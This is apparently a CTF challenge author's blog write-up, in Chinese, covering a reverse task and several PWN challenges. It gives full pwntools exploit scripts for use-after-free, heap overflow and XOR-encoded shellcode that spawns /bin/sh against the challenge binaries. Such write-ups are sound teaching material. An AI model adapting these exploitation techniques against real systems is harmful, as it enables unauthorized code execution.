前言:

最近好久没更新博客了,一直在本地更新,然后转到博客很多图片啥的嫌麻烦,最近暂时不会更新的很勤,过段时间再说吧~

本次比赛我就出了一个逆向签到跟PWN,题目难度倒是不难,只是为了契合愚人杯的主题在有些地方加了一些奇奇怪怪的东西,但是不影响做题,可以说逻辑捋清楚了都挺简单的。出的题有点烂,被师傅们杀疯了。

REVERSE

easy_pyc

简单的签到,将其丢到pyc在线反编译,再写个逆算法
exp

flag = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03', 
 '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r', 
 b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b', 
 b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
l = len(flag)
flag = map(ord,flag)
for i in range(l - 3  ,0,-1):
    flag[i-1] = flag[i-1]^flag[i]
code = ''
for i in range(l):
    num = (flag[i]-i) % 114514
    code += chr(num)
print code

PWN

easy_checkin

出题思路:

签到的话这里是一个简单的UAF漏洞,然后给出后门函数,后门函数为_libc_start__main(),同时简单的混淆了一下,当然仅仅是小小的恶搞一下,为了不使后门函数被那么容易的找到,对程序进行了静态编译。
当然采用了静态编译的话,很明显的就会有mprotect函数,因此这题的解法可能不唯一。

解题思路:

checksec&file

1.png

32位程序,部分开启RELRO,关闭PIE

运行程序看一下:

2.png

很明显的看到是堆题,那个1234是倒序的,但是稍微试一下就能发现,其实功能是正常的,还是正常的1234。只是它显示为4321。这个不影响,(在IDA中也能看清楚整个程序的逻辑其实是正常的)

IDA查看函数:
emmm,这里草率了,正常来说做题我看到静态编译找main函数的话懒得找直接搜了一下main函数,然后后门函数一下就出来了,尴尬...

3.png

main():

2023-04-02T06:04:42.png

程序主要就是三个功能:add、del、show
menu():

2023-04-02T06:05:46.png

add_note():

2023-04-02T06:07:33.png

程序最多可以添加 5 个 note(截图这里没截全)。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
del_note():

2023-04-02T06:08:09.png

单纯进行了 free,而没有设置为 NULL,明显的有UAF漏洞
print_note():

2023-04-02T06:12:17.png

简单的根据给定的 note 的索引来输出对应索引的 note 的内容。
(当然,这里还做了一个混淆,如果不理逻辑,直接进行操作,你成功它会给你回显失败,而失败会回显成功,也是一个简单的混淆,不过也不难,理清楚逻辑都不影响。)
那么思路就很明确了:我们可以修改 note 的 put 字段为后门函数的地址,从而实现在执行 print note 的时候执行后门函数进行get shell。

exp

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./Fool_check-in')
elf = ELF('./Fool_check-in')
__libc_start__main = elf.sym['__libc_start__main']

def add(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)


def free(idx):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))


def show(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))


add(32, "aaaa")
add(32, "ddaa")

free(0)
free(1)

add(8, p32(__libc_start__main))

show(0)

io.interactive()

其他解法我这里没有尝试,因为仅仅是签到,这个能直接利用就讲这种方法了,感兴趣的可以自行研究下。

easy_sql

出题思路:

为了契合愚人杯主题,我想起了之前做过的一些比较有趣的题,并对其进行改编,难度并不大。
这里还降低了难度,不需要竞争就能读取到flag

解题思路:

checksec&file

2023-04-02T07:14:05.png

64位程序部分开启RELRO,关闭PIE
运行程序:

2023-04-02T07:15:19.png

IDA查看main函数:

2023-04-02T07:14:49.png

可以看到auth_user首先创建了一个0x20大小的堆
validate_demo_activation_code():

2023-04-02T07:16:37.png

可以看到这里存在堆溢出
接着告诉我们有效查询是read、write,并且只能访问 /home/ctf/database.txt!
继续跟进f_0():

2023-04-02T07:20:16.png

后面f_1~4都是在讲关于read与write之间的关系,但是由于这题降低了很大的难度,因此到这里我们大概就能读取到flag了
首先堆溢出身份验证结构,然后使写入线程从允许的数据库中读取,再使用read读取flag文件即可

exp

from pwn import *
#io = process('./sql')
io = remote('pwn.challenge.ctf.show',28103)
io.sendline("seyseyseyseyseyseyseyseyseyseyaasey") 
io.sendline("write")
io.sendline("/home/ctf/database.txt")
io.sendline("read")
io.sendline("/flag")
io.sendline("0") 
io.interactive()

2023-04-02T07:24:15.png

easy_login

出题思路:

同上一题,也是降低了一定的难度。

解题思路:

checksec&file

2023-04-02T07:44:30.png

64位保护全开,动态编译。
IDA查看函数,很容易的看到存在后门函数,那么显然题目难度就低了许多。

2023-04-02T07:50:18.png

main():

2023-04-02T07:51:08.png

跟进sub_1EBA():

2023-04-02T07:55:15.png

看着像一堆用户名之类的东西,再下面还存在"login success"
继续跟进sub_E11():

2023-04-02T07:57:05.png

这里给出了两个判断,如果v1='r' 则进入sub_B1A(),如果v1='l'则进入sub_C1A();
分别跟进这两个函数
sub_B1A():

2023-04-02T07:59:17.png

sub_C1A():

int sub_C1A()
{
  __int64 v0; // rsi
  const char *v1; // rsi
  int result; // eax
  char v3; // ST0B_1
  int i; // [rsp+Ch] [rbp-4h]

  printf("Username: ");
  fflush(stdout);
  v0 = (unsigned int)n;
  fgets((char *)ptr + 64 * (signed __int64)dword_203040, n, stdin);
  printf("Password: ", v0);
  fflush(stdout);
  fgets((char *)ptr + 64 * (signed __int64)dword_203040 + 30, n, stdin);
  strtok((char *)ptr + 64 * (signed __int64)dword_203040, "\n");
  v1 = "\n";
  strtok((char *)ptr + 64 * (signed __int64)dword_203040 + 30, "\n");
  for ( i = 0; i < dword_203040; ++i )
  {
    v1 = (char *)ptr + 64 * (signed __int64)i;
    if ( !strcmp("CTFshow-admin", v1) )
    {
      v1 = (char *)ptr + 64 * (signed __int64)i + 30;
      if ( !strcmp("CTFshow-password", v1) && *((_DWORD *)ptr + 16 * (signed __int64)i + 15) == 7823732 )
      {
        printf("Succesfully logged in as user: %s", (char *)ptr + 64);
        result = i;
        dword_20303C = i;
        return result;
      }
    }
  }
  puts("Incorrect credentials, would you like to register instead?");
  printf("[y/n]: ", v1);
  fflush(stdout);
  v3 = getchar();
  result = getchar();
  if ( v3 == 'y' )
    result = sub_B1A();
  return result;
}

然后回到:return sub_1C02(v2);
跟进sub_1C02():

2023-04-02T08:05:57.png

继续跟进sub_154B():

void __fastcall sub_154B(char *a1, const char *a2, char *a3, char *a4, _QWORD *a5)
{
  _QWORD *v5; // [rsp+8h] [rbp-38h]
  char *s; // [rsp+10h] [rbp-30h]
  const char *v7; // [rsp+18h] [rbp-28h]
  signed int j; // [rsp+3Ch] [rbp-4h]
  signed int i; // [rsp+3Ch] [rbp-4h]

  v7 = a3;
  s = a4;
  v5 = a5;
  if ( !strcmp("Fool", a1) )
  {
    if ( !strcmp("*", a2) )
    {
      puts("Available categories:");
      sub_EBA(0, -1, v5);
    }
    else if ( *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
    {
      if ( *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
      {
        for ( i = 0; i <= 4; ++i )
        {
          if ( !strcmp(a2, (const char *)v5[6 * i]) )
          {
            if ( *v7 )
            {
              if ( !strcmp(v7, (const char *)v5[6 * i + 1]) )
              {
                strtok(s, "\n");
                if ( !strcmp(s, (const char *)v5[6 * i + 2]) )
                {
                  printf("Listeners:");
                  printf("  %ld\n", *(_QWORD *)v5[6 * i + 4]);
                }
                else if ( !strcmp(s, (const char *)v5[6 * i + 3]) )
                {
                  printf("Listeners:");
                  printf("  %ld\n", *(_QWORD *)(v5[6 * i + 4] + 8LL));
                  printf("Secret:");
                  printf("  %s\n", v5[6 * i + 5]);
                  sub_EA0();
                }
                else
                {
                  puts("Songs:");
                  printf("  %s\n", v5[6 * i + 2]);
                  printf("  %s\n", v5[6 * i + 3]);
                }
              }
              else
              {
                puts("Artist:");
                printf("  %s\n", v5[6 * i + 1]);
              }
            }
            else
            {
              puts("Artist:");
              printf("  %s\n", v5[6 * i + 1]);
            }
          }
        }
      }
    }
    else
    {
      for ( j = 0; j <= 3; ++j )
      {
        if ( !strcmp(a2, (const char *)v5[6 * j]) )
        {
          if ( *v7 )
          {
            if ( !strcmp(v7, (const char *)v5[6 * j + 1]) )
            {
              strtok(s, "\n");
              if ( !strcmp(s, (const char *)v5[6 * j + 2]) )
              {
                printf("Listeners:");
                printf("  %ld\n", *(_QWORD *)v5[6 * j + 4]);
              }
              else if ( !strcmp(s, (const char *)v5[6 * j + 3]) )
              {
                printf("Listeners:");
                printf("  %ld\n", *(_QWORD *)(v5[6 * j + 4] + 8LL));
              }
              else
              {
                puts("Songs:");
                printf("  %s\n", v5[6 * j + 2]);
                printf("  %s\n", v5[6 * j + 3]);
              }
            }
            else
            {
              puts("Artist:");
              printf("  %s\n", v5[6 * j + 1]);
            }
          }
          else
          {
            puts("Artist:");
            printf("  %s\n", v5[6 * j + 1]);
          }
        }
      }
    }
  }
  else
  {
    strtok(a1, "\n");
    if ( !strcmp(a1, s2) )
      sub_21ED();
  }
}

继续跟进sub_EBA(0, -1, v5);

int __fastcall sub_EBA(signed int a1, int a2, _QWORD *a3)
{
  int result; // eax
  _QWORD *v4; // ST00_8
  _QWORD *v5; // ST00_8
  _QWORD *v6; // ST00_8
  _QWORD **v7; // ST00_8
  _QWORD *v8; // ST00_8
  _QWORD *v9; // ST00_8
  _QWORD *v10; // ST00_8
  _QWORD **v11; // ST00_8

  if ( a2 != -1 || *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
  {
    if ( a2 != -1 || *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) != 7823732 )
    {
      result = a1;
      if ( a1 == 1 )
      {
        result = printf("%s", a3[6 * a2 + 1], a3);
      }
      else if ( a1 > 1 )
      {
        if ( a1 == 3 )
        {
          result = printf("%s", a3[6 * a2 + 2], a3);
        }
        else if ( a1 == 4 )
        {
          result = printf("%ld", *(_QWORD *)a3[6 * a2 + 4], a3);
        }
      }
      else if ( !a1 )
      {
        result = printf("%s", a3[6 * a2], a3);
      }
    }
    else
    {
      result = a1;
      if ( a1 == 1 )
      {
        printf("  %s\n", a3[1], a3);
        printf("  %s\n", v9[7]);
        printf("  %s\n", v9[13]);
        printf("  %s\n", v9[19]);
        result = printf("  %s\n", v9[25]);
      }
      else if ( a1 > 1 )
      {
        if ( a1 == 3 )
        {
          printf("  %s\n", a3[2], a3);
          printf("  %s\n", v10[8]);
          printf("  %s\n", v10[14]);
          printf("  %s\n", v10[20]);
          result = printf("  %s\n", v10[26]);
        }
        else if ( a1 == 4 )
        {
          printf("  %ld\n", *(_QWORD *)a3[4], a3);
          printf("  %ld\n", *v11[10]);
          printf("  %ld\n", *v11[16]);
          printf("  %ld\n", *v11[22]);
          result = printf("  %ld\n", *v11[28]);
        }
      }
      else if ( !a1 )
      {
        printf("  %s\n", *a3, a3);
        printf("  %s\n", v8[6]);
        printf("  %s\n", v8[12]);
        printf("  %s\n", v8[18]);
        result = printf("  %s\n", v8[24]);
      }
    }
  }
  else
  {
    result = a1;
    if ( a1 == 1 )
    {
      printf("  %s\n", a3[1], a3);
      printf("  %s\n", v5[7]);
      printf("  %s\n", v5[13]);
      result = printf("  %s\n", v5[19]);
    }
    else if ( a1 > 1 )
    {
      if ( a1 == 3 )
      {
        printf("  %s\n", a3[2], a3);
        printf("  %s\n", v6[8]);
        printf("  %s\n", v6[14]);
        result = printf("  %s\n", v6[20]);
      }
      else if ( a1 == 4 )
      {
        printf("  %ld\n", *(_QWORD *)a3[4], a3);
        printf("  %ld\n", *v7[10]);
        printf("  %ld\n", *v7[16]);
        result = printf("  %ld\n", *v7[22]);
      }
    }
    else if ( !a1 )
    {
      printf("  %s\n", *a3, a3);
      printf("  %s\n", v4[6]);
      printf("  %s\n", v4[12]);
      result = printf("  %s\n", v4[18]);
    }
  }
  return result;
}


2023-04-02T08:12:14.png

可以看到在这里调用了后门函数,也就是说我们满足它的条件即可get shell
那我们倒着推回去把逻辑理清楚即可
当然需要一点点耐心,不过理解清楚了其实就很简单了,这里有一个难点就是使用了艺术字,写到博客里还发不出去,其他的捋清楚就没啥问题了。

exp

2023-04-02T10:22:42.png

2023-04-02T08:17:14.png

baby_pad

出题思路:

一开始我是打算出一个off-by-null漏洞,但是考虑到是愚人杯,出题也没有那么中规中矩。然后左改右改就改成了一个非常简单的题了,不过问题不大,怎么开心怎么来,弄了一堆的东西,实际上捋清楚逻辑就是一个跟签到一样的UAF漏洞,然后为了提升大家做PWN的信心,还加了一个小游戏在里面,如果实在不会利用,玩玩游戏也能得到shell,所以说是比签到还简单。

解题思路:

checksec&file

2023-04-02T08:38:43.png

64位程序,仅关闭PIE,动态编译
IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rsi
  const char *v4; // rdi
  size_t v5; // rax
  signed int v6; // eax
  signed int v7; // eax
  int result; // eax
  size_t v9; // rax
  size_t v10; // rax
  int c; // [rsp+4h] [rbp-1Ch]
  int i; // [rsp+8h] [rbp-18h]
  int v13; // [rsp+Ch] [rbp-14h]
  int v14; // [rsp+10h] [rbp-10h]
  int v15; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v16; // [rsp+18h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  puts("Happy April Fool's Day, sometimes seeing is not believing!");
  v14 = 0;
  write_n(&unk_402510, 1LL);
  write_n(&title, 1141LL);
  v3 = 1LL;
  v4 = (const char *)&unk_402510;
  write_n(&unk_402510, 1LL);
  do
  {
    for ( i = 0; i <= 3; ++i )
    {
      LOBYTE(c) = i + 49;
      writeln("+--------------------------------------------------------------------+\n", 71LL);
      write_n(" #   INDEX: ", 12LL);
      writeln(&c, 1LL);
      write_n(" # CONTENT: ", 12LL);
      if ( qword_603048[2 * (i + 16LL)] )
      {
        v5 = strlen(qword_603048[2 * (i + 16LL)]);
        writeln(qword_603048[2 * (i + 16LL)], v5);
      }
      v3 = 1LL;
      v4 = (const char *)&unk_402510;
      writeln(&unk_402510, 1LL);
    }
    v13 = 0;
    v6 = getcmd(v4, v3);
    v14 = v6;
    if ( v6 == 68 )
    {
      write_n("(INDEX)>>> ", 11LL);
      v13 = read_int("(INDEX)>>> ", 11LL);
      if ( v13 > 0 && v13 <= 4 )
      {
        if ( *(_QWORD *)&pad[16 * (v13 - 1 + 16LL)] )
        {
          v13 = 4;
          error_message();
          return result;
        }
        v3 = 8LL;
        v4 = "Not used";
        writeln("Not used", 8LL);
      }
      else
      {
        v3 = 13LL;
        v4 = "Invalid index";
        writeln("Invalid index", 13LL);
      }
    }
    else if ( v6 > 'D' )
    {
      if ( v6 != 'E' )
      {
        if ( v6 == 'Q' )
          continue;
LABEL_43:
        v3 = 17LL;
        v4 = "No such a command";
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11LL);
      v13 = read_int("(INDEX)>>> ", 11LL);
      if ( v13 > 0 && v13 <= 4 )
      {
        if ( *(_QWORD *)&pad[16 * (v13 - 1 + 16LL)] )
        {
          c = 48;
          strcpy(pad, qword_603048[2 * (v13 - 1 + 16LL)]);
          while ( toupper(c) != 89 )
          {
            write_n("CONTENT: ", 9LL);
            v9 = strlen(pad);
            writeln(pad, v9);
            write_n("(CONTENT)>>> ", 13LL);
            v10 = strlen(qword_603048[2 * (v13 - 1 + 16LL)]);
            read_until(pad, v10, 10LL);
            writeln("Is it OK?", 9LL);
            write_n("(Y/n)>>> ", 9LL);
            read_until(&c, 1LL, 10LL);
          }
          strcpy((char *)qword_603048[2 * (v13 - 1 + 16LL)], pad);
          v3 = 8LL;
          v4 = "\nEdited.";
          writeln("\nEdited.", 8LL);
        }
        else
        {
          v3 = 8LL;
          v4 = "Not used";
          writeln("Not used", 8LL);
        }
      }
      else
      {
        v3 = 13LL;
        v4 = "Invalid index";
        writeln("Invalid index", 13LL);
      }
    }
    else
    {
      if ( v6 != 'A' )
        goto LABEL_43;
      while ( v13 <= 3 && *(_QWORD *)&pad[16 * (v13 + 16LL)] )
        ++v13;
      if ( v13 == 4 )
      {
        v3 = 17LL;
        v4 = "No space is left.";
        writeln("No space is left.", 17LL);
      }
      else
      {
        v15 = -1;
        write_n("(SIZE)>>> ", 10LL);
        v15 = read_int("(SIZE)>>> ", 10LL);
        if ( v15 <= 0 )
        {
          v7 = 1;
        }
        else
        {
          v7 = v15;
          if ( (unsigned __int64)v15 > 0x100 )
            v7 = 256;
        }
        v15 = v7;
        *(_QWORD *)&pad[16 * (v13 + 16LL)] = v7;
        qword_603048[2 * (v13 + 16LL)] = (const char *)malloc(v15);
        if ( !qword_603048[2 * (v13 + 16LL)] )
        {
          writerrln("[!] No memory is available.", 27LL);
          _exit(-1);
        }
        write_n("(CONTENT)>>> ", 13LL);
        read_until(qword_603048[2 * (v13 + 16LL)], v15, 10LL);
        v3 = 7LL;
        v4 = "\nAdded.";
        writeln("\nAdded.", 7LL);
      }
    }
  }
  while ( v14 != 'Q' );
  return 0;
}


这里逻辑比较多,主要就讲重要部分了
程序最外层主逻辑是有三个功能,分别为:add delete edit
其中我们可以看到在delete中,当
v13 = 4;
会进入error_message();
也就是说当我们add 4个内容,然后再删除第4个即可进入error_message()函数,
当然此时我们还不知道此函数是干嘛的
跟进error_message():

2023-04-02T08:53:30.png

在这里可以看到当选6的时候会进入Game函数:
Game():

2023-04-02T08:54:37.png

然后case 3会进入foolish()函数:

2023-04-02T08:56:19.png

当v2 = 1时又进入game函数:

2023-04-02T08:57:17.png

根据函数内容,先是生成一个10000以内的随机数,然后会根据你的输入的数进行比较,大了回显B(Big)小了回显S(Small),如果相等就给你一个shell

2023-04-02T09:01:33.png

那么我们很容易的知道这就是一个猜大小的游戏,猜对了就给你shell。
这是不是很简单呢?

重新捋一下逻辑:
最外层是
| [A] Add
| [D] Delete
| [E] Edit
| [Q] Quit
有这么四个功能,然后进入到error_message函数中
其实这就是签到中的几个函数,可能稍微改动了一点点,但是实际功能是一样的漏洞点也存在,且也是存在后门函数的,那么实际上我们利用第一题的方法来打,是完全没有问题的(当然需要稍微改动一点点)
exp1:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_pad')
elf = ELF('./baby_pad')
__libc_start__main = elf.sym['__libc_start__main']

def Add():
    io.sendlineafter("(CMD)>>> ","A")
    io.sendlineafter("(SIZE)>>>","1")
    io.sendlineafter("(CONTENT)>>>","1")

def Del():
    io.sendlineafter("(CMD)>>> ","D")
    io.sendlineafter("(INDEX)>>> ","4")

def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    io.sendline(content)


def free(idx):
    io.sendline("2")
    io.sendline(str(idx))


def show(idx):
    io.sendline("3")
    io.sendline(str(idx))

Add()
Add()
Add()
Add()
Del()

add(32, "aaaa")
add(32, "ddaa")

free(0)
free(1)

payload = p64(__libc_start__main)
add(8, payload)

show(0)

io.send('\n')
io.recv()
io.interactive()

2023-04-02T09:21:29.png

当然,如果你不想这么做,直接找哪里调用了后门函数去玩游戏获得shell,也是完全没问题的:
exp:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_pad')
#io = remote('pwn.challenge.ctf.show',28113)
elf = ELF('./baby_pad')
__libc_start__main = elf.sym['__libc_start__main']

def Add():
    io.sendlineafter("(CMD)>>> ","A")
    io.sendlineafter("(SIZE)>>>","1")
    io.sendlineafter("(CONTENT)>>>","1")

def Del():
    io.sendlineafter("(CMD)>>> ","D")
    io.sendlineafter("(INDEX)>>> ","4")

def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    io.sendline(content)


def free(idx):
    io.sendline("2")
    io.sendline(str(idx))


def show(idx):
    io.sendline("3")
    io.sendline(str(idx))

Add()
Add()
Add()
Add()
Del()
io.sendline('6')
sleep(0.5)
io.sendline('3')
sleep(0.5)
io.sendline('1')
io.interactive()


2023-04-02T09:27:35.png

是不是非常简单呢?

baby_shellcode

出题思路:

9字节shellcode

解题思路:

checksec&file

2023-04-02T09:34:21.png

64位保护全关,且有可读可写可执行的段,静态编译
IDA查看函数:

2023-04-02T09:36:21.png

可以看到仅有非常少的函数,进行了一些系统调用
查看汇编代码:

2023-04-02T09:37:49.png

先是调用了sub_4000E1
跟进:

2023-04-02T09:38:40.png

能读入9字节
然后又调用了sub_4000F9

2023-04-02T09:40:34.png

这里需要理解一下,首先先是一堆数字的数组,然后再计算,再用a1中的值^=输入的值,最后再调用a1。我们可以理解为它将你输入的变成shellcode再进行调用。
那么我们就可以直接尝试
exp:

from pwn import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
io = process('./baby_shellcode')

shellcode = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3'
io.send(shellcode)

io.interactive()

2023-04-02T09:44:33.png

确实能读到flag
也可以先写一个read,再读入更长的shellcode来进行get shell
exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_shellcode')
key = [
    0xb3,0x91,0x7f,0xdd,0x62,0x81,0x11,0x6a,
    0x90,0x8c,0xdb,0xae,0x70,0xa7,0x3f,0xff,
    0x3a,0xc3,0xe6,0x32,0xff,0x5e,0x46,0x63,
    0x9a,0x14,0xb7,0x9e,0xad,0xf6,0x09,0xdc,
    0x33,0x2f,0x35,0xc6,0x6f,0x1a,0x7f,0xff,
    0x1b,0xc2,0xb5,0xb7,0xb7,0xc2,0xd1,0x75,
]
def xor(str):
    res = ''
    for i in range(len(str)):
        res += chr(ord(str[i])^key[i])
    return res

shellasm = '''
pop rbp
pop rax
pop rdi
mov dl,0xff
syscall
jmp rsi
'''

shellcode = asm(shellasm)
payload = xor(shellcode)
io.send(payload)
  
shellasm = '''
mov rax,59
mov rdi,0x600170
xor rsi,rsi
xor rdx,rdx
syscall
'''
shellcode = '\x90'*0x1e + asm(shellasm)
payload = shellcode.ljust(0x3a,'a')+'/bin/sh\x00'
io.send(payload)

io.interactive()


2023-04-02T09:49:29.png

了解到有大佬用其他的:

pop rdx;
pop rdi;
pop rax;
syscall;

寄存器的值从栈上取,然后再系统调用一次read,再将shellcode输进去,也是没有问题的。
总的来说大佬们都tql!

标签: PWN

  1. 过眼云烟 过眼云烟

    最后一道pwn好像和tiny_backdoor_v1_hackover_2016有点像

  2. 清风明月 清风明月

    大佬,能不能发一下你用的IDA下载链接

    1. bit bit

      用的比较久了,链接找不到了,网上这些应该有一大把,可以找一下

已有 3 条评论